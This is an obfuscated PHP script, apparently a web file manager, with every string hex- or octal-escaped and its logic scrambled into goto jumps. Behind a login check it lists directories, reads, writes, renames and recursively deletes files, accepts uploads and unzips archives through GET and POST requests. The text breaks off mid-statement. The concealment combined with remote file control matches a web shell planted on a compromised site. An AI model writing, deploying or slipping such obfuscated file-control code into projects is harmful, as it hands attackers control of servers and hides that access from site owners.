"\144\141\164\x61\72\x69\155\x61\x67\145\x2f\160\156\x67\x3b\x62\x61\163\145\x36\64\54\x69\x56\102\117\x52\167\60\113\107\x67\157\x41\101\x41\x41\x4e\x53\x55\x68\x45\x55\x67\101\101\x41\102\101\101\x41\101\101\x51\103\101\x59\x41\x41\x41\x41\x66\x38\x2f\71\x68\x41\101\101\101\x72\60\x6c\x45\x51\126\x51\64\152\142\130\124\x73\121\162\103\115\x42\x41\107\64\101\x78\117\x67\153\x36\x36\165\x62\152\65\x43\x67\65\103\x33\163\x42\130\x30\123\126\114\x6c\63\115\160\61\160\142\67\x37\x33\143\x51\53\x6a\x5a\x39\x4e\102\143\x44\125\x6d\x78\x44\147\x2f\63\x68\111\117\123\x4f\67\x79\101\x51\65\57\66\x5a\163\151\x79\63\101\x41\x6f\101\60\161\x2b\161\161\156\132\112\101\x45\101\x52\x51\x6c\147\x35\65\x78\x7a\112\x44\157\x44\x2f\63\101\x76\112\132\53\171\116\x41\122\x4c\x50\x66\x55\x42\x45\116\x67\x44\115\x65\x37\x2f\x49\101\121\157\x52\127\x54\x64\x4e\143\x7a\x43\172\62\x32\x54\x67\53\62\61\x49\x64\160\117\x42\x6f\x5a\156\65\x67\x64\124\x4d\131\106\x4e\x56\x54\x36\x70\x4b\x56\x58\61\x6b\x41\127\x5a\x32\162\145\x74\66\x44\70\103\x79\147\x4c\132\x74\x6c\167\101\x75\101\x49\65\x5a\167\x46\152\x6d\x42\126\124\61\x62\x47\x62\63\130\x35\70\160\x46\x73\154\x58\x61\163\x6d\x6b\166\101\110\x36\x7a\x35\67\x52\114\x46\141\142\x32\x41\x41\101\101\x41\x42\112\x52\x55\x35\105\x72\x6b\x4a\x67\x67\x67\x3d\x3d"; goto RO2Ex; tGAYc: if (!(isset($_GET["\x74\x61\142\x6c\x65"]) && XU7xX())) { goto JdkfL; } goto tmaYB; fqjRu: echo "\x20\72\x20\74\x63\x6f\x64\x65\x3e\x3c\163\160\x61\x6e\40\x69\x64\x3d\x22\x55\x70\154\157\141\x64\x46\x69\154\x65\x53\151\172\x65\42\76\74\x2f\x73\160\x61\x6e\x3e\74\57\x63\x6f\x64\x65\x3e\74\x2f\x70\76\15\12\x9\x3c\146\x6f\162\x6d\40\x20\x69\x64\75\x22\106\151\x6c\145\125\160\x6c\157\x61\x64\106\157\x72\155\42\x20\145\156\143\164\x79\160\x65\x3d\42\155\x75\x6c\x74\151\160\x61\162\x74\x2f\x66\x6f\x72\x6d\55\x64\x61\x74\141\x22\x20\x6d\x65\x74\150\x6f\144\75\x22\160\x6f\x73\x74\42\x3e\15\12\11\40\40\x20\x20\x3c\151\x6e\x70\165\x74\40\151\x64\x3d\x22\125\x70\x6c\x6f\141\x64\x46\x69\154\x65\104\151\162\x22\x20\164\171\x70\145\75\42\x68\x69\x64\x64\145\x6e\42\x20\x3e\11\xd\xa\15\12\40\40\40\x20\40\40\40\40\x20\40\40\40\74\x64\x69\166\40\x63\x6c\x61\163\x73\75\x22\x69\156\160\165\x74\x2d\147\162\157\165\x70\42\x3e\xd\12\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x3c\163\x70\141\156\40\x63\154\x61\163\x73\x3d\x22\151\x6e\x70\165\x74\x2d\x67\x72\157\165\160\55\x62\164\x6e\42\76\15\xa\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\74\x73\x70\x61\x6e\x20\143\x6c\141\163\x73\x3d\x22\x62\164\x6e\x20\142\164\x6e\x2d\x64\145\x66\x61\x75\154\x74\x20\x62\x74\156\55\x66\x69\x6c\x65\x22\x3e\15\12\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40"; goto xuz1H; BbVk9: $CIvJG[23] = "\x4c\157\x67\151\156"; goto qrhkM; aaynE: LtUYj(1); goto qfoKZ; Yejk1: $CIvJG[38] = "\x4e\x6f\x74\x20\145\x78\x69\163\164\163"; goto fYTrm; kGut1: unset($_COOKIE); goto ztNlg; kYBzC: echo $CIvJG[40]; goto sKUbC; pyOqa: if ($fxkQy == '') { goto XFgot; } goto V3IyU; EkUQJ: echo "\74\x2f\142\165\x74\x74\x6f\156\76\15\xa\x20\x20\x20\40\40\40\40\40\74\142\165\164\164\x6f\156\40\x74\x79\x70\145\75\x22\142\x75\x74\164\x6f\x6e\x22\x20\143\x6c\x61\163\x73\75\42\x62\x74\x6e\40\142\x74\x6e\x2d\144\x65\x66\x61\x75\154\164\42\x20\144\x61\164\x61\55\144\x69\163\155\151\x73\163\75\x22\155\x6f\x64\x61\154\42\x3e"; goto K10kW; s74Vm: unset($qJrrE); goto JfW1C; dEDlC: if (!($fxkQy == '')) { goto pVZdF; } goto QYO1E; DzCdO: if (!(isset($_GET["\x72\145\141\144"]) && $q4G5q && Xu7XX())) { goto GI33t; } goto zjABa; wc24i: if (!(!iF6kA() && $KNI8z)) { goto W8PCr; } goto nU1FJ; wX7V_: exit(header("\x4c\157\143\x61\x74\x69\157\x6e\72\x20" . $_SERVER["\x50\x48\x50\x5f\123\x45\x4c\x46"])); goto Sf668; eIx3B: echo "\x27\x2c\15\12\11\x9\160\162\145\166\x20\72\40\x27\302\xab\x27\x2c\15\xa\11\x9\156\x65\170\164\40\x3a\40\47\302\xbb\47\54\xd\12\11\x9\154\141\x73\x74\40\x3a\x20\x27"; goto k9NF3; idW3n: echo $CIvJG[11] . "\x3c\x73\x70\x61\156\x20\x63\154\x61\x73\x73\75\x22\x68\x69\144\144\145\156\55\x78\x73\42\76\40\x2c\40" . $CIvJG[12] . "\x20\40" . base64_decode("\120\x47\116\x76\132\107\x55\x2b\x62\x32\x35\x6c\145\x47\x6c\x30\x5a\124\167\x76\x59\x32\x39\x6b\132\x54\64\x3d") . "\40\40"; goto Cufn7; u1TuN: echo "\x22\x3e\15\12\11\x9\74\x6d\145\164\141\x20\156\x61\x6d\145\75\42\166\151\x65\x77\x70\x6f\x72\164\42\x20\x63\x6f\x6e\x74\145\x6e\x74\75\x22\167\151\144\164\x68\x3d\144\145\x76\151\x63\145\55\x77\151\144\164\150\x2c\x20\x69\156\151\164\x69\x61\154\x2d\163\143\141\154\x65\x3d\61\42\x3e\xd\xa\11\x9\74\155\x65\164\141\x20\150\164\x74\x70\x2d\145\x71\165\x69\166\x3d\x22\130\x2d\125\101\55\x43\x6f\x6d\x70\x61\x74\x69\x62\154\145\42\x20\x63\x6f\156\164\145\156\x74\x3d\42\111\105\x3d\x65\144\x67\145\42\76\15\xa\x9\x20\40\40\x20"; goto MF2rO; tDfpo: goto fzMBg; goto kdHyx; tlw3v: $dm0oc[4] = "\x64\x61\x74\141\x3a\x69\x6d\141\x67\x65\x2f\160\x6e\147\x3b\142\141\x73\145\x36\64\x2c\x69\x56\102\x4f\x52\167\x30\113\107\147\x6f\x41\x41\x41\x41\116\123\x55\x68\x45\125\x67\x41\x41\x41\102\x41\x41\101\101\101\121\x43\x41\x59\x41\x41\x41\101\x66\70\x2f\x39\x68\x41\101\x41\x41\145\60\154\105\x51\126\121\64\x6a\x65\62\x52\x73\x51\62\x44\x51\x42\x52\104\x50\121\x46\103\x69\x43\160\104\x6b\x61\167\x44\154\141\155\151\141\70\x34\x2b\163\x55\124\107\x79\x47\x68\x55\106\105\x67\110\x68\102\x4e\106\103\151\171\65\163\145\x51\156\x36\63\x2f\x67\114\x78\122\x6a\x66\105\160\151\170\x71\53\146\101\114\x62\x66\107\x2f\x6c\111\163\152\x34\105\x53\x47\x49\165\104\x79\x45\x38\x62\x48\71\171\x36\x32\167\120\x4a\x4e\164\144\x77\x4a\65\111\x56\x72\131\110\x41\105\102\x4b\66\x62\x74\170\x67\60\x4d\130\114\x31\152\61\142\147\x42\147\145\x7a\x70\142\x4a\154\x6c\x4c\x36\x68\144\x41\126\x2f\x44\103\156\155\122\124\163\x76\170\x61\x7a\132\x71\166\x6a\x41\123\110\170\x32\x62\156\101\101\x41\x41\101\105\x6c\x46\x54\x6b\x53\x75\x51\x6d\103\x43"; goto laLkL; RmFqV: $MTWgC[1] = array_map("\163\164\162\x74\x6f\x6c\157\x77\x65\x72", $MTWgC[1]); goto SV5TX; J74kC: function SL0L0($YkU72) { goto kwxXO; kwxXO: global $DzgHR; goto Hi7V9; Hi7V9: header("\x43\157\156\164\x65\156\164\x2d\x74\171\160\145\x3a\40\x61\x70\x70\x6c\x69\x63\x61\164\x69\157\156\x2f\x6a\163\157\x6e\x3b\x20\143\150\141\x72\x73\145\x74\x3d" . $DzgHR); goto rlBZv; rlBZv: return json_encode($YkU72); goto eo3y0; eo3y0: } goto x44ph; ioj0p: goto obO19; goto iWD8q; lzKAV: echo $CIvJG[30]; goto ZmH4g; FDN5F: echo "\42\x3e\40\40\x20\40\x20\40\40\15\12\40\x3c\154\151\x20\x63\154\x61\x73\x73\x3d\42\x64\x72\157\x70\144\x6f\x77\x6e\x22\76\15\xa\40\x20\40\x20\74\141\x20\x68\x72\145\x66\75\x22\x23\x22\x20\143\x6c\141\x73\x73\75\x22\144\162\157\x70\x64\157\167\x6e\x2d\164\x6f\147\147\x6c\x65\x22\x20\144\141\x74\x61\55\164\x6f\147\x67\154\145\75\42\144\162\x6f\x70\144\157\167\x6e\x22\76\15\xa\40\x20\40\40\x20\x20\x20\x3c\163\x70\x61\x6e\40\x63\x6c\141\163\163\x3d\42\125\x73\145\162\111\x63\157\x6e\42\76\74\x2f\163\x70\141\156\x3e\x20"; goto yG_mw; w4eN3: echo "\x20\x27\53\156\x75\155\x46\151\x6c\145\x73\51\73\x9\xd\xa\x9\x9\x9\11\x9\x9\x65\x6c\x73\145\xd\xa\x9\11\11\x9\11\x9\173\xd\12\x9\11\11\x9\x9\11\11\15\xa\11\x9\x9\x9\x9\x9\x9\x24\x28\47\x23\151\x6e\x70\165\x74\106\151\154\145\125\160\x6c\x6f\x61\144\x27\51\x2e\x76\x61\154\x28\x6c\x61\142\145\154\51\73\x9\15\12\11\11\x9\11\x9\x9\x9\xd\xa\11\x9\11\11\x9\11\11\x69\146\x28\124\x73\151\x7a\145\x3e\x6d\x61\170\x46\151\x6c\x65\123\151\172\x65\x29\15\12\11\x9\x9\x9\x9\x9\x9\173\15\12\x9\11\x9\11\x9\x9\x9\x9\x24\50\47\43\x46\151\x6c\145\x55\160\x6c\x6f\x61\144\114\141\142\145\154\x73\x75\143\x63\145\x73\x73\x27\x29\56\150\164\155\154\50\x27"; goto X5Ac8; WAdkv: error_reporting(E_ALL); goto fFL0G; XsKa_: $xUEaS = isset($_GET["\x70\x61\x67\x65"]) ? (int) $_GET["\160\141\147\x65"] : 1; goto jQ86f; jDZ62: unset($lhFTz); goto QQJ1c; uSCtf: gwj1x: goto gq9qU; Ekflq: echo "\51\40\156\x6f\55\162\145\x70\x65\141\164\40\x6c\x65\x66\x74\40\143\145\x6e\164\145\162\73\x70\141\x64\144\151\156\x67\72\x20\x35\160\170\40\60\x20\x35\160\170\x20\62\x35\160\170\x3b\x6d\141\162\147\151\156\55\x6c\145\x66\164\x3a\40\x35\x70\170\73\x7d\xd\xa\56\123\x68\x6f\x77\111\143\x6f\x6e\x20\173\142\x61\x63\153\x67\162\x6f\165\156\x64\72\165\162\x6c\x28"; goto wz7cn; vsNnG: echo "\x27\x29\73\x9\11\15\xa\11\11\11\x20\40\x20\x64\x69\x72\x20\x3d\40\162\x65\x70\x6c\141\143\145\137\x64\151\x72\x28\x24\50\x27\x23\146\151\154\x65\156\141\155\x65\x44\x69\162\47\51\56\x76\141\154\x28\51\51\x3b\x20\xd\12\11\x9\11\40\x20\40\x74\170\x74\x44\141\x74\x61\x20\75\40\x24\x28\47\x23\106\151\x6c\145\x54\x78\164\47\51\x2e\x76\x61\154\x28\x29\73\15\xa\xd\xa\11\11\x9\40\x20\x20\44\x2e\160\x6f\x73\x74\50\x20\x22\77\x77\162\x69\x74\145\42\x2c\x20\x7b\40\x77\162\x69\164\145\x3a\40\x64\x69\x72\x2c\40\164\170\164\72\40\x74\x78\x74\104\141\x74\141\x20\175\40\x2c\x20\x66\x75\156\x63\x74\151\157\x6e\x28\40\x64\x61\x74\141\x2c\x73\164\x61\x74\x75\163\40\x29\40\x7b\xd\xa\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\15\xa\x9\11\11\x20\40\151\146\50\x73\164\x61\164\x75\163\x3d\75\47\x73\165\x63\143\145\x73\x73\x27\x29\x7b\15\12\x9\11\11\x9\44\50\47\43\123\150\x6f\x77\x46\151\154\x65\x27\x29\56\155\x6f\144\141\x6c\50\x27\150\151\x64\x65\x27\51\73\x20\15\xa\11\11\x9\x9\44\50\47\x23\106\x69\x6c\x65\127\x72\x69\164\145\x4c\141\x62\x65\x6c\x73\165\143\143\x65\x73\163\x27\51\x2e\150\164\155\x6c\x28\x27\x27\51\73\15\12\x9\11\x9\x9\x24\50\47\43\106\151\x6c\x65\x54\x78\x74\x27\x29\x2e\166\x61\154\50\47\x27\x29\x3b\xd\xa\11\11\11\x20\x20\175\x20\145\154\163\145\x20\xd\xa\x9\x9\x9\11\44\x28\x27\43\106\x69\154\x65\127\x72\x69\164\x65\x4c\141\x62\x65\x6c\163\x75\143\x63\x65\x73\163\47\51\x2e\x68\164\155\154\50\x27"; goto wUaVv; rQTG9: function G0FxE($nyi6h) { goto Xjig1; jRQMN: foreach ($Dr0U7 as $kmHVH) { goto rTHV1; rTHV1: if (!($kmHVH != "\x2e" && $kmHVH != "\56\56" && (in_array(Lu4VD($kmHVH), $MTWgC[0]) || count($MTWgC[0]) == 0))) { goto mc4ok; } goto L29Oq; NHULX: Uq7IV: goto ZGkmL; g0miB: echo "\x3c\x2f\141\76\x3c\57\x6c\151\76"; goto C4yTA; WOU_x: if (!is_dir($nyi6h . "\x2f" . $kmHVH)) { goto PVzVj; } goto kSxuP; kSxuP: g0fXE($nyi6h . "\x2f" . $kmHVH); goto taWsh; C4yTA: mc4ok: goto NHULX; taWsh: PVzVj: goto g0miB; L29Oq: echo "\74\154\151\76\74\x61\x20\x68\x72\x65\146\75\42" . $nyi6h . "\57" . $kmHVH . "\x22\76" . $kmHVH; goto WOU_x; ZGkmL: } goto O6cBz; KBz4z: echo "\40\x3c\165\x6c\76"; goto lhvkj; ILWXy: sSKvi: goto AUPHz; Xjig1: global $MTWgC; goto Cffsa; AUPHz: $Dr0U7 = scandir($nyi6h); goto KBz4z; Cffsa: if (!(is_file($nyi6h) === true)) { goto sSKvi; } goto taS2v; taS2v: return; goto ILWXy; c_EnM: echo "\x3c\x2f\165\154\x3e"; goto T8ek1; O6cBz: AEKOL: goto oc7oX; lhvkj: if (!(is_array($Dr0U7) || is_object($Dr0U7))) { goto W7Ulf; } goto jRQMN; oc7oX: W7Ulf: goto c_EnM; T8ek1: } goto iHPJ7; fZhbm: unset($DzgHR); goto o15H2; JMQfQ: pNKVj: goto DzCdO; dkbWD: $k8LVN .= "\x3c\x74\x64\x20\x63\157\154\163\x70\x61\156\x3d\42\x35\x22\x20\x63\154\x61\163\163\75\42\143\x6f\154\x2d\170\x73\55\61\62\x20\x63\x6f\x6c\55\x73\x6d\x2d\x31\62\40\143\157\x6c\x2d\x6d\144\x2d\x31\x32\42\76"; goto zyRie; e0ikD: GI33t: goto dnsaa; bfN8k: echo $E0reN . "\46\160\141\x67\x65\x3d" . $xUEaS; goto iA8aM; eqfwO: echo "\x27\51\x3b\40\162\x65\164\x75\x72\156\40\73\175\15\12\x9\11\x9\40\xd\xa\x9\x9\11\40\xd\xa\x9\x9\11\x20\40\x20\x24\x28\x22\x23\106\x69\154\x65\x54\170\x74\42\x29\x2e\141\x74\x74\x72\50\x22\x64\151\x73\141\x62\154\x65\x64\x22\x2c\x20\42\144\151\163\x61\142\154\145\144\42\51\73\x20\44\x28\x22\x23\106\x69\154\x65\x57\162\x69\164\145\102\164\x6e\42\x29\56\141\164\x74\x72\50\42\x64\x69\x73\141\x62\154\145\144\x22\54\40\x22\x64\x69\163\x61\142\154\x65\x64\42\x29\x3b\xd\xa\11\x9\x9\40\x20\x20\x24\x28\47\x23\106\x69\154\145\x57\x72\x69\164\x65\x4c\x61\142\x65\x6c\163\x75\x63\143\145\x73\x73\47\51\56\x68\x74\x6d\154\50\47"; goto eczjw; E2Ccg: echo $CIvJG[14]; goto jtsnA; xY1_c: echo $DzgHR; goto u1TuN; xKpo4: J9Gsd: goto EkKZi; kCICt: $nKZYh = "\141\144\x6d\x69\156"; goto m5ZO_; b2nVA: FlilL: goto ROpYn; jO8bh: T2X82: goto dLorG; SyM2X: echo $CIvJG[17]; goto XNeNp; h1BXW: die(g0FXE($E0reN)); goto JMQfQ; vebyY: echo "\42\40\x72\145\x6c\75\42\x69\143\157\x6e\x22\40\x74\171\160\x65\75\42\151\x6d\x61\x67\145\57\x78\55\151\x63\x6f\x6e\42\40\57\76\15\xa\x9\x9\x3c\x74\x69\164\154\x65\76"; goto cnW0N; w0fvP: echo "\342\206\x90"; goto YOgeI; URjtI: function Uo0xM($nyi6h, $jta4V) { goto eqHnJ; aXcRt: return; goto d6JvL; Blrmx: KbAk1: goto sWh2T; w1q2j: UO0Xm($nyi6h . "\x2f" . $NP6yk, true); goto u3rK1; eqHnJ: if (!(is_file($nyi6h) === true)) { goto NC1nO; } goto fAkP0; KjqUb: GoVq0: goto bhilg; yXMYc: if (!$jta4V) { goto g8CjK; } goto hPNI7; tDkJR: goto hMK8V; goto Bfz2t; fdsRB: return; goto KjqUb; d2TlL: if (@unlink($nyi6h . "\x2f" . $NP6yk)) { goto hL1Lc; } goto w1q2j; ON_H_: if ($Suy37 = @opendir($nyi6h)) { goto GoVq0; } goto fdsRB; HJnqk: NC1nO: goto ON_H_; hPNI7: @rmdir($nyi6h); goto mNotc; reM5R: if (!($NP6yk == "\56" || $NP6yk == "\x2e\x2e")) { goto FaySW; } goto tDkJR; bhilg: hMK8V: goto zSFn9; mNotc: g8CjK: goto aXcRt; UkZ_s: goto hMK8V; goto Blrmx; fAkP0: return @unlink($nyi6h); goto HJnqk; Bfz2t: FaySW: goto d2TlL; zSFn9: if (!(false !== ($NP6yk = readdir($Suy37)))) { goto KbAk1; } goto reM5R; u3rK1: hL1Lc: goto UkZ_s; sWh2T: closedir($Suy37); goto yXMYc; d6JvL: } goto SuO5u; m5ZO_: $DzgHR = "\165\x74\x66\x2d\x38"; goto h2USG; C_LLr: goto EHO6t; goto rjlTX; on69x: echo $CIvJG[18]; goto EZOim; nKC3Z: $Neukl[0] = "\x4d\x61\x74\x63\150\137\156\157\164\x5f\x66\157\x75\156\144"; goto tDfpo; Cufn7: echo "\74\x2f\163\160\141\156\76\74\57\x61\x3e\15\12\x20\x20\40\x20\74\x2f\x64\151\x76\x3e\15\12\40\40\40\x20\40\xd\12\x9\40\x20\15\xa\x9\40\74\x64\151\x76\40\x63\x6c\141\x73\x73\x3d\x22\143\157\x6c\x6c\141\160\163\x65\x20\x6e\x61\166\x62\x61\162\55\143\x6f\154\154\x61\160\163\145\x20\x6e\x61\x76\142\141\162\55\145\x78\61\55\x63\x6f\x6c\154\141\x70\163\x65\42\76\x20\xd\xa\11\40\x20\xd\12\x3c\x75\154\x20\x63\154\x61\163\x73\75\42\156\141\x76\40\x6e\x61\x76\142\x61\162\55\x6e\141\166\x20\x6e\141\x76\142\x61\x72\55"; goto U1fC4; uZcUd: lTuYJ(1); goto zhAD5; uaX4o: HTDGn: goto PeYQt; w8v29: echo $dm0oc[12]; goto KzxjA; iZPJm: echo "\x20\x20\x20\40\40\40\x3c\x6c\x69\x3e\x3c\141\x20\x68\162\145\146\x3d\42\x3f\154\x6f\147\x6f\165\x74\x22\76\74\x73\160\x61\x6e\40\x63\154\141\163\163\x3d\42\x4c\157\147\157\165\164\x49\143\157\x6e\42\x3e\74\x2f\163\160\x61\x6e\76\x20"; goto QcYaX; dnsaa: if (!(isset($_GET["\x77\x72\x69\164\x65"]) && $q4G5q && xU7Xx())) { goto FlilL; } goto ls6JJ; JSp5j: $CIvJG[6] = "\x53\x69\172\145"; goto ec8rt; BvzZa: if (!(isset($_GET["\x6c\151\x73\164\106\157\154\x64\145\x72\x46\151\x6c\145\x73"]) && Xu7Xx())) { goto pNKVj; } goto h1BXW; K10kW: echo $CIvJG[15]; goto vFnwQ; pgqoB: echo "\x3c\57\x63\145\156\164\145\162\x3e\74\x2f\x6c\x69\76\47\x29\x3b\x9\x9\x9\x20\x20\40\xd\12\x9\x9\x9\40\x20\x20\x24\x2e\147\x65\164\50\x22\x3f\154\x69\163\x74\x46\x6f\154\x64\x65\x72\106\151\x6c\145\x73\x26\x64\151\162\x3d\x22\53\144\151\x72\x2c\x20\x66\x75\156\x63\x74\x69\157\156\50\144\141\164\141\x29\x7b\xd\xa\x9\x9\11\x20\40\40\40\x20\x20\x24\50\42\43\x6c\151\163\x74\106\157\x6c\144\145\x72\106\x69\154\145\x73\42\51\x2e\x68\164\155\154\50\x64\x61\164\141\x29\73\15\xa\x9\40\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\44\50\x27\x2e\x74\162\x65\145\166\151\x65\167\47\x29\x2e\x74\162\145\x65\x76\x69\x65\167\x28\51\x3b\xd\xa\40\x20\40\x20\15\12\11\11\x9\x20\x20\40\175\x29\73\xd\12\xd\12\x9\x9\40\x20\xd\xa\11\11\11\x9\x9\162\x65\164\165\x72\156\73\15\xa\11\x9\11\x7d\x3b\15\xa\x9\x9\x9\xd\12\x9\11\11\40\40\40\x20\x69\x66\50\x20\x24\x2e\x69\x6e\101\x72\x72\x61\171\x28\x67\145\164\x45\170\164\x28\146\x69\154\x65\x6e\x61\155\x65\x29\54\40\x49\155\147\x54\171\160\x65\x73\x20\40\x29\41\75\x3d\x2d\61\x29\15\xa\11\11\11\x9\173\xd\xa\11\11\x9\11\x9\x24\50\42\x23\122\145\x73\165\x6c\x74\42\51\56\150\x74\155\154\x28\47\x3c\x63\x65\x6e\164\145\162\x3e\x3c\x62\162\76\74\x69\155\x67\40\163\x72\143\x3d\42\47\x2b\x64\151\x72\x2b\47\x22\40\143\154\141\x73\x73\x3d\x22\x69\155\x67\55\x72\x6f\165\156\x64\x65\x64\40\151\155\147\x2d\x72\x65\x73\x70\157\x6e\163\x69\166\x65\x22\40\141\154\x74\x3d\42\42\x3e\74\x2f\x63\x65\x6e\164\145\162\x3e\x27\x29\x3b\40\15\12\11\x9\11\x9\x9\x72\x65\164\165\162\156\x3b\xd\12\x9\x9\11\x9\x7d\73\xd\xa\x9\x9\11\11\x9\xd\xa\11\11\x9\x9\11\15\12\11\x9\11\11\x69\146\x28\x20\x24\56\x69\x6e\x41\162\x72\141\x79\x28\x67\x65\x74\105\x78\164\50\146\151\154\145\x6e\x61\155\145\x29\x2c\x20\x46\x69\x6c\x65\124\x79\160\x65\x73\40\x20\51\41\75\75\x2d\x31\x20\x7c\174\x20\106\151\154\x65\124\x79\160\145\x73\x2e\x6c\145\x6e\147\x74\x68\40\x3d\75\60\40\51\x20\x7b\15\12\11\11\11\11\xd\xa\x9\x9\11\x9\x9\44\x2e\147\145\164\x28\42\77\x72\x65\141\x64\75\x22\x2b\144\x69\162\54\x20\x66\165\156\x63\x74\151\157\x6e\x28\x72\145\x73\165\x6c\x74\51\x7b\x20\15\12\x9\11\11\11\x9\x20\x24\50\x22\43\106\x69\154\x65\127\x72\151\164\145\x42\164\x6e\x22\51\56\x73\150\x6f\167\50\51\x3b\xd\xa\x9\x9\x9\11\x9\40\44\x28\x27\43\x46\151\x6c\x65\127\x72\x69\164\x65\x4c\x61\142\145\154\x73\165\x63\143\145\163\x73\x27\51\56\150\x74\x6d\x6c\x28\x27\x27\51\x3b\xd\xa\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\44\50\42\x23\x46\x69\x6c\x65\x57\x72\151\x74\145\x42\x74\156\x22\51\x2e\x72\x65\155\157\x76\x65\101\x74\164\162\x28\42\144\x69\x73\141\142\154\x65\x64\x22\x29\73\15\12\x20\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\x20\40\x24\x28\42\43\x52\145\x73\165\154\x74\x22\51\x2e\x68\164\x6d\x6c\50\x27\74\x69\156\160\x75\x74\40\x69\x64\75\x22\x46\x69\x6c\x65\124\170\164\137\117\113\x22\x20\164\171\x70\x65\75\42\x68\151\144\x64\x65\156\42\x20\x3e\x3c\x74\x65\170\x74\x61\162\145\x61\40\151\144\x3d\42\x46\x69\x6c\x65\x54\170\164\x22\40\143\x6c\141\163\x73\x3d\42\146\x6f\x72\x6d\55\143\x6f\x6e\x74\162\x6f\154\x22\x20\x72\157\x77\x73\x3d\x22\61\x35\x22\40\163\x74\171\x6c\145\75\x22\x62\x6f\x72\x64\x65\162\x2d\164\157\160\72\40\x30\x70\170\x20\x3b\40\142\157\x78\55\163\150\x61\x64\157\x77\72\x20\151\x6e\x73\145\x74\40\x30\40\x30\160\x78\x20\61\160\x78\40\x72\x67\142\141\50\x30\x2c\60\54\x30\54\x2e\x30\x37\x35\51\73\x62\x6f\x72\x64\145\x72\55\x74\157\x70\x2d\154\x65\146\x74\x2d\162\141\144\x69\165\163\x3a\x20\x30\x70\170\73\x20\x22\76\47\53\145\163\143\141\x70\x65\124\141\147\x73\50\162\145\163\165\x6c\164\51\53\x27\74\x2f\x74\145\x78\164\x61\162\145\x61\x3e\47\51\73\x20\15\12\x9\11\x9\x9\11\x7d\51\x3b\x9\15\xa\11\x9\x9\11\11\162\145\164\x75\x72\156\x3b\15\xa\x9\x9\11\x9\x7d\73\15\xa\11\11\x9\11\15\12\x9\11\x9\11\11\xd\12\x9\11\x9\11\11\x9\15\xa\x9\11\x9\40\x7d\x3b\xd\12\11\x9\11\x20\15\12\x9\11\11\40\15\12\x9\11\11\40\xd\xa\11\x9\x9\40\x66\x75\x6e\x63\164\x69\157\x6e\x20\x77\162\x69\x74\145\x41\x6e\144\103\x6f\x6e\164\145\x6e\x74\50\x29\x20\15\12\11\x9\11\x20\x7b\x20\xd\12\11\11\11\40\15\12\11\x9\11\x20\40\151\146\x28\40\41\44\x28\47\x23\x46\x69\x6c\x65\x54\170\x74\x5f\x4f\x4b\x27\51\56\154\145\x6e\x67\164\x68\x20\51\40\173\44\x28\42\x23\106\151\x6c\145\127\x72\151\x74\x65\x42\164\156\x22\51\x2e\x61\x74\x74\162\x28\42\x64\x69\x73\x61\142\x6c\x65\x64\x22\x2c\x20\42\x64\x69\x73\141\x62\154\145\144\x22\x29\73\x20\x24\x28\x27\43\x46\151\x6c\x65\x57\162\x69\x74\145\114\141\x62\x65\x6c\163\165\x63\143\x65\163\163\x27\51\x2e\x68\164\x6d\154\50\x27"; goto K6HJH; MVTZH: unset($q4G5q); goto Eevza; y1C3C: echo $dm0oc[2]; goto j8mN8; mUg80: if (!(isset($_GET["\162\145\x6e\141\155\145"]) && XU7xx())) { goto J9Gsd; } goto ccPfq; flpkF: $CIvJG[42] = "\111\x6e\x66\157\162\x6d\141\x74\x69\157\x6e"; goto gumXP; yWI18: $CIvJG[41] = "\125\x6e\x5a\x69\x70\x20\x66\151\x6c\145"; goto flpkF; A_4ZW: lAjp0: goto AP6hg; gknVM: echo "\40\74\143\x6f\144\145\x20\151\x64\x3d\x22\151\155\147\125\x72\154\x22\x3e\x3c\x2f\143\157\x64\145\76\x3c\x2f\x68\64\76\15\12\x20\40\x20\x20\x20\40\40\x20\x3c\57\x64\151\x76\x3e\xd\12\40\40\40\40\x20\40\40\x20\x3c\144\151\x76\x20\143\x6c\141\x73\x73\75\42\x6d\157\x64\x61\154\x2d\142\157\x64\x79\42\76\xd\12\x9\11\x20\40\x3c\151\156\160\x75\x74\40\151\144\x3d\42\x66\x69\x6c\x65\x6e\x61\155\x65\x44\x69\162\42\x20\x74\x79\160\x65\75\x22\150\x69\x64\x64\145\x6e\42\x20\x3e\x9\15\12\x20\x20\x20\x20\x20\x20\x20\40\40\40\74\151\x6e\x70\x75\x74\40\164\171\160\x65\x3d\42\x68\x69\x64\144\x65\156\x22\x20\x69\x64\x3d\x22\x66\x69\154\x65\x6e\141\155\x65\111\156\x70\x75\164\x22\76\15\12\x20\x20\40\40\x20\x20\x20\40\40\x20\xd\12\11\x9\40\x20\xd\12\x9\x9\xd\12\11\x9\15\12\11\11\x3c\x75\154\40\x63\x6c\141\x73\x73\x3d\x22\156\x61\x76\40\x6e\x61\x76\55\164\141\142\163\x22\x3e\15\xa\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\74\154\x69\40\143\154\x61\163\163\x3d\42\141\143\164\151\x76\145\42\76\74\x61\x20\x64\x61\x74\141\x2d\164\157\147\147\x6c\145\x3d\42\164\141\142\42\40\x68\x72\x65\x66\x3d\42\x23\x5f\x62\162\157\x77\163\145\42\x20\x69\144\x3d\42\110\162\x65\x66\x42\162\157\167\163\145\42\76"; goto f1iyD; Ii95K: echo $dm0oc[3]; goto K12By; D77Vl: echo "\x5d\x3b\40\xd\xa\x20\166\x61\162\40\x49\x6d\147\124\x79\160\x65\163\x20\x3d\40\x5b\x20"; goto OlIMZ; H3tPe: echo "\51\40\156\x6f\x2d\x72\145\x70\x65\x61\164\40\x6c\145\x66\x74\40\x63\145\156\164\145\x72\73\x20\x70\x61\144\x64\151\156\x67\72\40\65\160\170\40\x30\40\x35\x70\x78\40\62\x35\160\x78\73\x6d\141\x72\147\x69\156\55\x6c\145\x66\x74\72\x20\x35\160\x78\x3b\x7d\15\12\56\111\155\141\x67\145\111\x63\x6f\x6e\x20\173\142\x61\143\153\x67\162\157\165\x6e\x64\x3a\165\162\x6c\x28"; goto gOM6S; GmIu_: $dm0oc[10] = 